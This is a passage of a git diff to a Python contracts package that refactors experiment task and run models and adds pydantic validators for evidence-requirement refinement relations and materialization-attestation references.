relation_capture_specs=relation_capture_specs, structural_only=False, ) diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_apparatus.py b/implementations/python/packages/raes_contracts/contracts/experiment_apparatus.py index 2b46dee1a..f0c8bcda9 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_apparatus.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_apparatus.py @@ -1,4 +1,4 @@ -"""Experiment task and apparatus-context contracts and validators.""" +"""Experiment apparatus-context contracts and validators.""" from __future__ import annotations @@ -8,14 +8,13 @@ from pydantic.json_schema import JsonSchemaValue from pydantic_core import CoreSchema -from ..observation_demand import ObservationDemandDocument from ..versions import ( BACKEND_MANIFEST_V2_SCHEMA_VERSION, EXPERIMENT_APPARATUS_CONTEXT_SCHEMA_VERSION, - EXPERIMENT_TASK_SCHEMA_VERSION, PARTICIPANT_IMPLEMENTATION_MANIFEST_V1_SCHEMA_VERSION, PROCESSOR_MANIFEST_V2_SCHEMA_VERSION, ) +from . import experiment_task as _experiment_task from .base import ContractModel, NonEmptyString, Rfc3339DateTimeString, _canonical_digest, _parse_rfc3339_datetime from .capabilities import ApparatusIdentityModel from .experiment_artifacts import ( @@ -30,20 +29,18 @@ from .experiment_capture import ExperimentValidityNoteModel from .experiment_disclosure import ( ExperimentApparatusConstraintModel, - ExperimentEvaluationProtocolModel, - ExperimentSplitAndLeakageControlsModel, ) from .experiment_manifest_references import ExperimentManifestReferenceModel from .experiment_references import ( ExperimentParameterModel, ExperimentReferenceModel, - ExperimentScenarioReferenceModel, ) from .manifests import ProcessorManifestV2Model from .participant_manifests import BackendManifestV2Model from .random_stream import RandomStreamControlBindingModel -from .schema_invariants import _add_carrier_validation_basis_disclosure_invariant, _add_raes_invariant -from .validation_disclosure import ValidationBasisDisclosureModel, validate_carrier_validation_basis_disclosures +from .schema_invariants import _add_raes_invariant + +ExperimentTaskModel = _experiment_task.ExperimentTaskModel _ManifestReferenceKey = tuple[ str, @@ -58,41 +55,6 @@ ] -class ExperimentTaskModel(ContractModel): - """Experiment task contract that separates scenario material from protocol intent.""" - - schema_version: Literal[EXPERIMENT_TASK_SCHEMA_VERSION] - task_id: NonEmptyString - task_version: NonEmptyString - title: NonEmptyString - description: NonEmptyString - scenario_ref: ExperimentScenarioReferenceModel - evaluation_protocol: ExperimentEvaluationProtocolModel - intended_use: NonEmptyString - non_use: list[NonEmptyString] = Field(default_factory=list) - population_or_construct: NonEmptyString - split_and_leakage_controls: ExperimentSplitAndLeakageControlsModel - apparatus_constraints: ExperimentApparatusConstraintModel - validity_notes: list[ExperimentValidityNoteModel] = Field(min_length=1) - artifact_refs: list[ExperimentArtifactRefModel] = Field(min_length=1) - validation_basis_disclosures: list[ValidationBasisDisclosureModel] = Field(default_factory=list) - observation_demands: ObservationDemandDocument | None = None - - @model_validator(mode="after") - def _validate_task_validation_basis_disclosures(self) -> ExperimentTaskModel: - validate_carrier_validation_basis_disclosures(self, subject_kind="experiment_task") - return self - - @classmethod - def __get_pydantic_json_schema__(cls, core_schema: CoreSchema, handler: GetJsonSchemaHandler) -> JsonSchemaValue: - json_schema = handler(core_schema) - json_schema = handler.resolve_ref_schema(json_schema) - _add_carrier_validation_basis_disclosure_invariant( - json_schema, contract_id="experiment-task-v1", subject_kind="experiment_task" - ) - return json_schema - - class ExperimentStochasticControlModel(ContractModel): """Seed, randomization, sampling, or scheduler control for reproducibility.""" diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_artifacts.py b/implementations/python/packages/raes_contracts/contracts/experiment_artifacts.py index 05510287f..41aac3ba6 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_artifacts.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_artifacts.py @@ -282,6 +282,7 @@ class ExperimentArtifactRefModel(ContractModel): "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_capture.py b/implementations/python/packages/raes_contracts/contracts/experiment_capture.py index e7bdcb108..4ae22b46d 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_capture.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_capture.py @@ -9,6 +9,7 @@ from pydantic.json_schema import JsonSchemaValue from pydantic_core import CoreSchema +from ..evidence_output_validation import validate_evidence_media_declaration from ..observation_demand import ObservationDemandRule from ..versions import EXPERIMENT_CAPTURE_SPEC_SCHEMA_VERSION from .base import ContractModel, NonEmptyString, Rfc3339DateTimeString, _parse_rfc3339_datetime @@ -122,6 +123,7 @@ def _validate_capture_requirement(self) -> ExperimentCaptureRequirementModel: _validate_unique_string_values("field_selectors", self.field_selectors) if any(re.fullmatch(r"(?:/(?:[^~/]|~[01])*)*", selector) is None for selector in self.field_selectors): raise ValueError("field_selectors must be canonical RFC 6901 JSON Pointers") + validate_evidence_media_declaration(self.output_contract, self.expected_media_types) if self.sensitivity == "redacted" and self.redaction_policy is None: raise ValueError("redacted capture requirements must declare redaction_policy") return self diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_conditions.py b/implementations/python/packages/raes_contracts/contracts/experiment_conditions.py index 347d79bcb..fabc63066 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_conditions.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_conditions.py @@ -3,8 +3,9 @@ from __future__ import annotations import json -from collections.abc import Callable, Collection +from collections.abc import Callable +from ..evidence_proof import ValidatedRunEvidence from .base import _canonical_digest from .experiment_apparatus import ExperimentApparatusComponentModel from .experiment_artifacts import ( @@ -150,10 +151,14 @@ def _condition_reference_matches_default_refs( def _run_satisfies_condition_reference( run: ExperimentRunModel, requirement: ExperimentReferenceModel, - validated_evidence_refs: Collection[ExperimentReferenceModel], + validated_evidence: ValidatedRunEvidence | None, ) -> bool: if requirement.ref_kind == "evidence": - return _reference_in_collection(list(validated_evidence_refs), requirement) + if validated_evidence is None: + return False + if not isinstance(validated_evidence, ValidatedRunEvidence): + raise ValueError("condition matching requires a validated evidence proof") + return validated_evidence.satisfies(run, requirement) handler = _CONDITION_REFERENCE_HANDLERS_BY_REF_KIND.get( requirement.ref_kind, _condition_reference_matches_default_refs ) @@ -213,13 +218,13 @@ def _condition_assignment_run_criteria_signature( def _run_satisfies_condition_assignment( run: ExperimentRunModel, assignment: ExperimentConditionAssignmentModel, - validated_evidence_refs: Collection[ExperimentReferenceModel] = (), + validated_evidence: ValidatedRunEvidence | None = None, ) -> list[str]: missing: list[str] = [] missing.extend( _format_reference(reference) for reference in assignment.required_refs - if not _run_satisfies_condition_reference(run, reference, validated_evidence_refs) + if not _run_satisfies_condition_reference(run, reference, validated_evidence) ) run_parameters = [*run.parameter_set, *run.apparatus_context.configuration_parameters] missing.extend( diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py b/implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py index eb1b3c1a7..53ed328b9 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py @@ -41,6 +41,7 @@ "profile", "run", "scenario-snapshot", + "materialization-attestation", } ) diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_evidence.py b/implementations/python/packages/raes_contracts/contracts/experiment_evidence.py index 9b1db5414..24602a70a 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_evidence.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_evidence.py @@ -12,6 +12,7 @@ EXPERIMENT_DERIVED_MEASURE_SCHEMA_VERSION, EXPERIMENT_EVIDENCE_RECORD_SCHEMA_VERSION, ) +from . import experiment_evidence_refinement as _evidence_refinement from .base import ContractModel, NonEmptyString, Rfc3339DateTimeString, _parse_rfc3339_datetime from .experiment_artifacts import ( ExperimentDerivedMeasureReferenceModel, @@ -35,6 +36,9 @@ _validate_reported_value_status, ) +ExperimentEvidenceRequirementRelationModel = _evidence_refinement.ExperimentEvidenceRequirementRelationModel +validate_evidence_requirement_relations = _evidence_refinement.validate_evidence_requirement_relations + class ExperimentEvidenceRecordModel(ContractModel): """Raw captured EXP-708 evidence record, distinct from derived measures.""" diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_evidence_refinement.py b/implementations/python/packages/raes_contracts/contracts/experiment_evidence_refinement.py new file mode 100644 index 000000000..99e601b9d --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/experiment_evidence_refinement.py @@ -0,0 +1,391 @@ +"""Typed EXP-731 evidence-requirement refinement and extension relations.""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import TYPE_CHECKING, Literal, TypeAlias + +from pydantic import Field, GetJsonSchemaHandler, field_validator, model_validator +from pydantic.json_schema import JsonSchemaValue +from pydantic_core import CoreSchema +from raes.identifiers import require_qualified_identifier + +from .base import ContractModel, NonEmptyString +from .experiment_capture import ExperimentCaptureRequirementModel, ExperimentCaptureSpecModel +from .experiment_manifest_references import ExperimentCaptureSpecReferenceModel +from .experiment_references import ( + ExperimentReferenceModel, + ExperimentScenarioSnapshotReferenceModel, +) +from .schema_invariants import _add_raes_invariant + +if TYPE_CHECKING: + from raes.evidence_requirements import EvidenceRequirement + from raes.scenario import Scenario + +EvidenceRequirementRefinementDimension: TypeAlias = Literal[ + "field-selectors", + "artifact-roles", + "integrity-requirements", + "loss-disclosure", +] + +_AUTHORITY_KINDS_BY_SCOPE = { + "task": frozenset({"task"}), + "run": frozenset({"authoring-input", "run"}), + "study": frozenset({"study"}), +} + + +class ExperimentEvidenceRequirementRelationModel(ContractModel): + """One explicit scoped relationship to an immutable authored requirement. + + The relation carries lineage only. The authored requirement and the + materialized capture requirement remain independent obligations. + """ + + relation_id: NonEmptyString + relation_version: NonEmptyString + relation_kind: Literal["refine", "extend"] + scope: Literal["task", "run", "study"] + authority_ref: ExperimentReferenceModel + base_scenario_ref: ExperimentScenarioSnapshotReferenceModel + base_requirement_address: NonEmptyString + capture_spec_ref: ExperimentCaptureSpecReferenceModel + capture_requirement_ref: NonEmptyString + refinement_dimensions: list[EvidenceRequirementRefinementDimension] = Field( + default_factory=list, + max_length=4, + json_schema_extra={"uniqueItems": True}, + ) + rationale: NonEmptyString + provenance_refs: list[ExperimentReferenceModel] = Field(default_factory=list) + + @field_validator("base_requirement_address") + @classmethod + def _validate_base_requirement_address(cls, value: str) -> str: + prefix = "evidence_requirements." + if not value.startswith(prefix): + raise ValueError("base_requirement_address must identify an evidence_requirements declaration") + require_qualified_identifier(value.removeprefix(prefix), field_name="base_requirement_address") + return value + + @model_validator(mode="after") + def _validate_relation_shape(self) -> ExperimentEvidenceRequirementRelationModel: + self._validate_authority_ref() + self._validate_base_scenario_ref() + self._validate_capture_spec_ref() + self._validate_relation_dimensions() + return self + + def _validate_authority_ref(self) -> None: + allowed_authority_kinds = _AUTHORITY_KINDS_BY_SCOPE[self.scope] + if self.authority_ref.ref_kind not in allowed_authority_kinds: + expected = ", ".join(sorted(allowed_authority_kinds)) + raise ValueError(f"{self.scope} evidence relations require authority_ref.ref_kind in {{{expected}}}") + if self.authority_ref.ref_version is None: + raise ValueError("evidence relation authority_ref must include ref_version") + if self.authority_ref.ref_digest is not None or self.authority_ref.ref_path is not None: + raise ValueError("evidence relation authority_ref must not carry ref_digest or ref_path") + + def _validate_base_scenario_ref(self) -> None: + if self.base_scenario_ref.ref_version is None or self.base_scenario_ref.ref_digest is None: + raise ValueError("base_scenario_ref must include ref_version and ref_digest") + if self.base_scenario_ref.ref_path is not None: + raise ValueError("base_scenario_ref must use portable identity rather than ref_path") + + def _validate_capture_spec_ref(self) -> None: + if self.capture_spec_ref.ref_version is None: + raise ValueError("capture_spec_ref must include ref_version") + + def _validate_relation_dimensions(self) -> None: + if len(self.refinement_dimensions) != len(set(self.refinement_dimensions)): + raise ValueError("refinement_dimensions must be unique") + if self.relation_kind == "refine" and not self.refinement_dimensions: + raise ValueError("refine evidence relations must declare refinement_dimensions") + if self.relation_kind == "extend" and self.refinement_dimensions: + raise ValueError("extend evidence relations must not declare refinement_dimensions") + + @classmethod + def __get_pydantic_json_schema__( + cls, + core_schema: CoreSchema, + handler: GetJsonSchemaHandler, + ) -> JsonSchemaValue: + json_schema = handler.resolve_ref_schema(handler(core_schema)) + json_schema.setdefault("allOf", []).extend( + [ + { + "if": {"properties": {"relation_kind": {"const": "refine"}}, "required": ["relation_kind"]}, + "then": { + "required": ["refinement_dimensions"], + "properties": {"refinement_dimensions": {"minItems": 1}}, + }, + }, + { + "if": {"properties": {"relation_kind": {"const": "extend"}}, "required": ["relation_kind"]}, + "then": {"properties": {"refinement_dimensions": {"maxItems": 0}}}, + }, + ] + ) + _add_raes_invariant( + json_schema, + "evidence-requirement-relation-lineage-valid", + "Evidence requirement relations must resolve an exact immutable SDL declaration and a separately " + "identified capture requirement. Refinements preserve every declared base dimension and strengthen " + "at least one governed dimension; extensions remain independent obligations.", + validator="raes_contracts.contracts.validate_evidence_requirement_relations", + inputs=[ + {"contract_id": "sdl-authoring-input-v1", "instance_path": "#/evidence_requirements"}, + {"contract_id": "experiment-capture-spec-v1", "instance_path": "#"}, + ], + ) + return json_schema + + +def _reference_identity(reference: ExperimentReferenceModel) -> tuple[str, str, str | None, str | None, str | None]: + return ( + reference.ref_kind, + reference.ref_id, + reference.ref_version, + reference.ref_digest, + reference.ref_path, + ) + + +def _validate_relation_owner( + relation: ExperimentEvidenceRequirementRelationModel, + *, + scope: Literal["task", "run", "study"], + authority_kind: Literal["task", "authoring-input", "run", "study"], + expected_authority: tuple[str, str, str | None, str | None, str | None], +) -> None: + if relation.scope != scope: + raise ValueError(f"evidence_requirement_relations on this carrier must use scope={scope!r}") + if _reference_identity(relation.authority_ref) != expected_authority: + label = "run-plan" if authority_kind == "authoring-input" else authority_kind + raise ValueError(f"evidence relation authority_ref must match the {label} carrier") + + +def _validate_relation_scenario_reference( + relation: ExperimentEvidenceRequirementRelationModel, + scenario_ref: ExperimentReferenceModel | None, +) -> None: + if scenario_ref is None: + return + if scenario_ref.ref_kind == "scenario": + if relation.base_scenario_ref.ref_id != scenario_ref.ref_id: + raise ValueError("evidence relation base_scenario_ref must match the carrier scenario identity") + return + if _reference_identity(relation.base_scenario_ref) != _reference_identity(scenario_ref): + raise ValueError("evidence relation base_scenario_ref must match the carrier scenario reference") + + +def validate_evidence_requirement_relation_carrier( + relations: Sequence[ExperimentEvidenceRequirementRelationModel], + *, + scope: Literal["task", "run", "study"], + authority_kind: Literal["task", "authoring-input", "run", "study"], + authority_id: str, + authority_version: str, + scenario_ref: ExperimentReferenceModel | None = None, +) -> None: + """Validate relation ownership using one existing experiment carrier.""" + + relation_ids = [relation.relation_id for relation in relations] + if len(relation_ids) != len(set(relation_ids)): + raise ValueError("evidence_requirement_relations relation_id values must be unique") + expected_authority = (authority_kind, authority_id, authority_version, None, None) + for relation in relations: + _validate_relation_owner( + relation, + scope=scope, + authority_kind=authority_kind, + expected_authority=expected_authority, + ) + _validate_relation_scenario_reference(relation, scenario_ref) + + +def _resolved_authored_requirement( + relation: ExperimentEvidenceRequirementRelationModel, + scenario: Scenario, +) -> EvidenceRequirement: + if _reference_identity(relation.base_scenario_ref) != _resolved_scenario_identity(scenario): + raise ValueError("evidence relation base_scenario_ref must match the resolved authored scenario") + requirement_name = relation.base_requirement_address.removeprefix("evidence_requirements.") + requirement = scenario.evidence_requirements.get(requirement_name) + if requirement is None: + raise ValueError("base_requirement_address must resolve to exactly one authored evidence requirement") + return requirement + + +def _resolved_scenario_identity(scenario: Scenario) -> tuple[str, str, str | None, str | None, str | None]: + from raes import canonical_sdl_digest + + return ( + "scenario-snapshot", + scenario.name, + scenario.version, + canonical_sdl_digest(scenario).value, + None, + ) + + +def _resolved_capture_requirement( + relation: ExperimentEvidenceRequirementRelationModel, + capture_specs: Mapping[str, ExperimentCaptureSpecModel], +) -> ExperimentCaptureRequirementModel: + matching_specs = [ + capture_spec + for capture_spec in capture_specs.values() + if capture_spec.capture_spec_id == relation.capture_spec_ref.ref_id + and capture_spec.spec_version == relation.capture_spec_ref.ref_version + ] + if len(matching_specs) != 1: + raise ValueError("capture_spec_ref must resolve to exactly one supplied capture specification") + capture_spec = matching_specs[0] + if not any( + _reference_identity(reference) == _reference_identity(relation.authority_ref) + for reference in capture_spec.scope_refs + ): + raise ValueError("capture specification scope_refs must include the evidence relation authority_ref") + requirement = capture_spec.capture_requirements.get(relation.capture_requirement_ref) + if requirement is None: + raise ValueError("capture_requirement_ref must resolve in the exact supplied capture specification") + return requirement + + +def _enum_value(value: object) -> str: + return str(getattr(value, "value", value)) + + +def _set_refinement( + *, + dimension: str, + base: set[str], + scoped: set[str], +) -> bool: + if not base.issubset(scoped): + raise ValueError(f"{dimension} refinement must preserve every authored value") + return scoped != base + + +def _alternative_refinement( + *, + dimension: str, + base: set[str], + scoped: set[str], +) -> bool: + """Compare sets whose members are alternatives accepted by one artifact. + + Adding alternatives broadens satisfaction. A scoped requirement therefore + strengthens an authored alternative set only by narrowing it. An empty + authored set carries no role constraint, so introducing a non-empty scoped + set is also a strengthening. + """ + + if not base: + return bool(scoped) + if not scoped or not scoped.issubset(base): + raise ValueError(f"{dimension} refinement must not add accepted values") + return scoped != base + + +def _dimension_is_stricter( + dimension: EvidenceRequirementRefinementDimension, + authored: EvidenceRequirement, + scoped: ExperimentCaptureRequirementModel, +) -> bool: + if dimension == "field-selectors": + is_stricter = _set_refinement( + dimension=dimension, + base=set(authored.field_selectors), + scoped=set(scoped.field_selectors), + ) + elif dimension == "artifact-roles": + base = {authored.artifact_role} if authored.artifact_role else set() + is_stricter = _alternative_refinement( + dimension=dimension, + base=base, + scoped=set(scoped.required_artifact_roles), + ) + elif dimension == "integrity-requirements": + authored_integrity = _enum_value(authored.integrity) + base = set() if authored_integrity == "none" else {authored_integrity} + is_stricter = _set_refinement(dimension=dimension, base=base, scoped=set(scoped.integrity_requirements)) + else: + base_required = _enum_value(authored.loss_disclosure) == "required" + if base_required and not scoped.loss_disclosure_required: + raise ValueError("loss-disclosure refinement must preserve the authored required disclosure") + is_stricter = scoped.loss_disclosure_required and not base_required + return is_stricter + + +def validate_evidence_requirement_relations( + relations: Sequence[ExperimentEvidenceRequirementRelationModel], + *, + scenario: Scenario, + capture_specs: Mapping[str, ExperimentCaptureSpecModel], +) -> tuple[ExperimentEvidenceRequirementRelationModel, ...]: + """Resolve and validate scoped relationships without mutating their inputs. + + Every relationship resolves exact caller-supplied artifacts. It performs + no URI lookup, host-path discovery, subprocess invocation, or persistence. + """ + + validated = tuple(relations) + relation_ids = [relation.relation_id for relation in validated] + if len(relation_ids) != len(set(relation_ids)): + raise ValueError("evidence requirement relation ids must be unique") + for relation in validated: + authored = _resolved_authored_requirement(relation, scenario) + scoped = _resolved_capture_requirement(relation, capture_specs) + if ( + authored.capture_spec_ref == relation.capture_spec_ref.ref_id + and authored.capture_requirement_ref == relation.capture_requirement_ref + ): + raise ValueError("scoped evidence relation must identify an obligation separate from the authored base") + if relation.relation_kind == "refine": + comparisons = [] + for dimension in relation.refinement_dimensions: + comparisons.append(_dimension_is_stricter(dimension, authored, scoped)) + if not any(comparisons): + raise ValueError("refinement_dimensions must strengthen at least one authored dimension") + return validated + + +def validate_evidence_requirement_relations_against_artifacts( + relations: Sequence[ExperimentEvidenceRequirementRelationModel], + *, + scenarios: Mapping[str, Scenario], + capture_specs: Mapping[str, ExperimentCaptureSpecModel], +) -> tuple[ExperimentEvidenceRequirementRelationModel, ...]: + """Resolve each relation against exactly one supplied authored scenario.""" + + validated = tuple(relations) + relation_ids = [relation.relation_id for relation in validated] + if len(relation_ids) != len(set(relation_ids)): + raise ValueError("evidence requirement relation ids must be unique") + for relation in validated: + matching_scenarios = [ + scenario + for scenario in scenarios.values() + if _resolved_scenario_identity(scenario) == _reference_identity(relation.base_scenario_ref) + ] + if len(matching_scenarios) != 1: + raise ValueError("base_scenario_ref must resolve to exactly one supplied authored scenario") + validate_evidence_requirement_relations( + (relation,), + scenario=matching_scenarios[0], + capture_specs=capture_specs, + ) + return validated + + +__all__ = [ + "EvidenceRequirementRefinementDimension", + "ExperimentEvidenceRequirementRelationModel", + "validate_evidence_requirement_relation_carrier", + "validate_evidence_requirement_relations", + "validate_evidence_requirement_relations_against_artifacts", +] diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_references.py b/implementations/python/packages/raes_contracts/contracts/experiment_references.py index 4de47db3c..bc88cbce2 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_references.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_references.py @@ -20,6 +20,7 @@ class ExperimentReferenceModel(ContractModel): "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -159,6 +160,7 @@ class AssociatedArtifactParentReferenceModel(ExperimentReferenceModel): ref_kind: Literal[ "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "apparatus-context", @@ -171,6 +173,9 @@ def _validate_associated_artifact_parent(self) -> AssociatedArtifactParentRefere if self.ref_kind == "scenario": if self.ref_version is not None or self.ref_digest is not None or self.ref_path is not None: raise ValueError("generic scenario parents are id-only; use scenario-snapshot for snapshot binding") + elif self.ref_kind == "materialization-attestation": + if self.ref_version != "raes-sdl-materialized/v1" or self.ref_digest is None or self.ref_path is None: + raise ValueError("materialization parents require their own canonical profile, digest and path") elif self.ref_kind != "scenario-snapshot" and (self.ref_digest is not None or self.ref_path is not None): raise ValueError( "experiment associated-artifact parents must not carry ref_digest or ref_path without a " diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_run.py b/implementations/python/packages/raes_contracts/contracts/experiment_run.py index 63030d727..16dfc4954 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_run.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_run.py @@ -2,9 +2,7 @@ from __future__ import annotations -from collections.abc import Mapping -from dataclasses import dataclass -from typing import BinaryIO, Literal +from typing import Literal from pydantic import Field, GetJsonSchemaHandler, model_validator from pydantic.json_schema import JsonSchemaValue @@ -28,17 +26,16 @@ _reference_satisfies_requirement, ) from .experiment_bindings import RealizedBindingProvenanceModel, _validate_realized_bindings -from .experiment_capture import ExperimentCaptureSpecModel from .experiment_disclosure import ExperimentAugmentationDisclosureModel from .experiment_evidence import ( - ExperimentEvidenceRecordModel, ExperimentRealizedFormDisclosureModel, ExperimentRunTraceabilityModel, ) -from .experiment_manifest_references import ( - ExperimentEvidenceReferenceModel, - ExperimentRunEvidenceArtifactReferenceModel, +from .experiment_evidence_refinement import ( + ExperimentEvidenceRequirementRelationModel, + validate_evidence_requirement_relation_carrier, ) +from .experiment_manifest_references import ExperimentRunEvidenceArtifactReferenceModel from .experiment_references import ( ExperimentParameterModel, ExperimentReferenceModel, @@ -51,6 +48,7 @@ ) from .experiment_run_stochastic import _validate_run_stochastic_draw_control_refs from .experiment_run_timing import validate_run_invalidation_status, validate_run_timing +from .materialization_attestation import MaterializationArchiveRecord, validate_run_materializations from .participant_manifests import ParticipantImplementationProvenanceModel from .random_stream import RandomStreamDrawRecordModel from .schema_invariants import ( @@ -145,6 +143,7 @@ class ExperimentRunModel(ContractModel): traceability: ExperimentRunTraceabilityModel realized_form_disclosures: list[ExperimentRealizedFormDisclosureModel] = Field(default_factory=list) augmentation_disclosures: list[ExperimentAugmentationDisclosureModel] = Field(default_factory=list) + materialization_attestations: list[MaterializationArchiveRecord] = Field(default_factory=list, max_length=4096) evidence_artifacts: list[ExperimentArtifactRefModel] = Field(min_length=1) result_summaries: dict[NonEmptyString, ExperimentResultSummaryModel] = Field(min_length=1) deviations: list[NonEmptyString] = Field(default_factory=list) @@ -153,6 +152,7 @@ class ExperimentRunModel(ContractModel): generated_refs: list[ExperimentReferenceModel] = Field(default_factory=list) derived_from_refs: list[ExperimentReferenceModel] = Field(default_factory=list) validation_basis_disclosures: list[ValidationBasisDisclosureModel] = Field(default_factory=list) + evidence_requirement_relations: list[ExperimentEvidenceRequirementRelationModel] = Field(default_factory=list) @model_validator(mode="after") def _validate_archival_run(self) -> ExperimentRunModel: @@ -165,11 +165,20 @@ def _validate_archival_run(self) -> ExperimentRunModel: _validate_run_evidence_artifact_refs(self) _validate_run_realized_form_disclosures(self) _validate_run_augmentation_disclosures(self) + validate_run_materializations(self) _validate_realized_bindings(self.realized_bindings) validate_trial_run_provenance_binding( self.trial_provenance, run_id=self.run_id, scenario_digest=self.scenario_snapshot_ref.ref_digest ) validate_carrier_validation_basis_disclosures(self, subject_kind="experiment_run") + validate_evidence_requirement_relation_carrier( + self.evidence_requirement_relations, + scope="run", + authority_kind="run", + authority_id=self.run_id, + authority_version=self.run_version, + scenario_ref=self.scenario_snapshot_ref, + ) if self.realized_time_model is not None: validate_realized_time_model( self.realized_time_model.declared_model, @@ -266,6 +275,13 @@ def __get_pydantic_json_schema__( {"contract_id": "experiment-run-v1", "instance_path": "#"}, ], ) + _add_raes_invariant( + json_schema, + "run-evidence-requirement-relation-owner-valid", + "Archived run-scoped evidence requirement relations must identify this exact run and scenario snapshot.", + validator=_ARCHIVAL_RUN_VALIDATOR, + inputs=[{"contract_id": "experiment-run-v1", "instance_path": "#"}], + ) return json_schema @@ -398,15 +414,6 @@ def _validate_run_metric_ids_declared(task: ExperimentTaskModel, run: Experiment raise ValueError(f"run result metric_id values must be declared by the task evaluation protocol: {joined}") -@dataclass(frozen=True) -class ExperimentRunEvidenceInputs: - """Immutable-reader inputs needed to prove one run's evidence claims.""" - - capture_specs: Mapping[str, ExperimentCaptureSpecModel] - evidence_records: Mapping[str, ExperimentEvidenceRecordModel] - artifact_readers: Mapping[str, BinaryIO] - - def validate_experiment_run_structure_against_task(task: ExperimentTaskModel, run: ExperimentRunModel) -> None: """Validate structural task/run invariants without claiming evidence satisfaction. @@ -421,36 +428,6 @@ def validate_experiment_run_structure_against_task(task: ExperimentTaskModel, ru _validate_run_stochastic_draw_control_refs(run) -def _task_claims_required_evidence(task: ExperimentTaskModel) -> bool: - return bool(task.evaluation_protocol.observation_requirements) or any( - metric.evidence_requirements for metric in task.evaluation_protocol.metric_definitions.values() - ) - - -def validate_experiment_run_against_task( - task: ExperimentTaskModel, - run: ExperimentRunModel, - *, - evidence: ExperimentRunEvidenceInputs | None = None, -) -> tuple[ExperimentEvidenceReferenceModel, ...]: - """Validate a task/run pair, including content-backed evidence when claimed.""" - - validate_experiment_run_structure_against_task(task, run) - if not _task_claims_required_evidence(task): - return () - if evidence is None: - raise ValueError("task/run validation requires content-backed evidence inputs") - from ..evidence_satisfaction import validate_experiment_run_evidence - - return validate_experiment_run_evidence( - task, - run, - capture_specs=evidence.capture_specs, - evidence_records=evidence.evidence_records, - artifact_readers=evidence.artifact_readers, - ) - - def validate_experiment_run_time_model( run: ExperimentRunModel, declaration: TimeModelDeclarationModel, diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_run_evidence_validation.py b/implementations/python/packages/raes_contracts/contracts/experiment_run_evidence_validation.py new file mode 100644 index 000000000..8ce7246c5 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/experiment_run_evidence_validation.py @@ -0,0 +1,66 @@ +"""Content-backed evidence validation for archival experiment runs.""" + +from __future__ import annotations + +from collections.abc import Mapping +from dataclasses import dataclass, field +from typing import Any, BinaryIO + +from ..evidence_proof import ValidatedRunEvidence, _mint_validated_run_evidence +from .experiment_apparatus import ExperimentTaskModel +from .experiment_capture import ExperimentCaptureSpecModel +from .experiment_evidence import ExperimentEvidenceRecordModel +from .experiment_evidence_refinement import validate_evidence_requirement_relations_against_artifacts +from .experiment_run import ExperimentRunModel, validate_experiment_run_structure_against_task + + +@dataclass(frozen=True) +class ExperimentRunEvidenceInputs: + """Immutable-reader inputs needed to prove one run's evidence claims.""" + + capture_specs: Mapping[str, ExperimentCaptureSpecModel] + evidence_records: Mapping[str, ExperimentEvidenceRecordModel] + artifact_readers: Mapping[str, BinaryIO] + scenarios: Mapping[str, Any] = field(default_factory=dict) + + +def _task_claims_required_evidence(task: ExperimentTaskModel) -> bool: + return bool(task.evaluation_protocol.observation_requirements) or any( + metric.evidence_requirements for metric in task.evaluation_protocol.metric_definitions.values() + ) + + +def validate_experiment_run_against_task( + task: ExperimentTaskModel, + run: ExperimentRunModel, + *, + evidence: ExperimentRunEvidenceInputs | None = None, +) -> ValidatedRunEvidence: + """Validate a task/run pair, including content-backed evidence when claimed.""" + + validate_experiment_run_structure_against_task(task, run) + relations = (*task.evidence_requirement_relations, *run.evidence_requirement_relations) + if relations: + if evidence is None: + raise ValueError("task/run evidence relation validation requires resolved evidence inputs") + validate_evidence_requirement_relations_against_artifacts( + relations, + scenarios=evidence.scenarios, + capture_specs=evidence.capture_specs, + ) + if not _task_claims_required_evidence(task) and evidence is None: + return _mint_validated_run_evidence(task, run, ()) + if evidence is None: + raise ValueError("task/run validation requires content-backed evidence inputs") + from ..evidence_satisfaction import validate_experiment_run_evidence + + return validate_experiment_run_evidence( + task, + run, + capture_specs=evidence.capture_specs, + evidence_records=evidence.evidence_records, + artifact_readers=evidence.artifact_readers, + ) + + +__all__ = ["ExperimentRunEvidenceInputs", "validate_experiment_run_against_task"] diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_spec.py b/implementations/python/packages/raes_contracts/contracts/experiment_spec.py index ca13b9349..76f4b6766 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_spec.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_spec.py @@ -1,4 +1,4 @@ -"""Experiment study, run-plan, and authoring-spec contracts.""" +"""Experiment run-plan and authoring-spec contracts.""" from __future__ import annotations @@ -9,20 +9,23 @@ from pydantic_core import CoreSchema from ..observation_demand import ObservationDemandDocument -from ..versions import 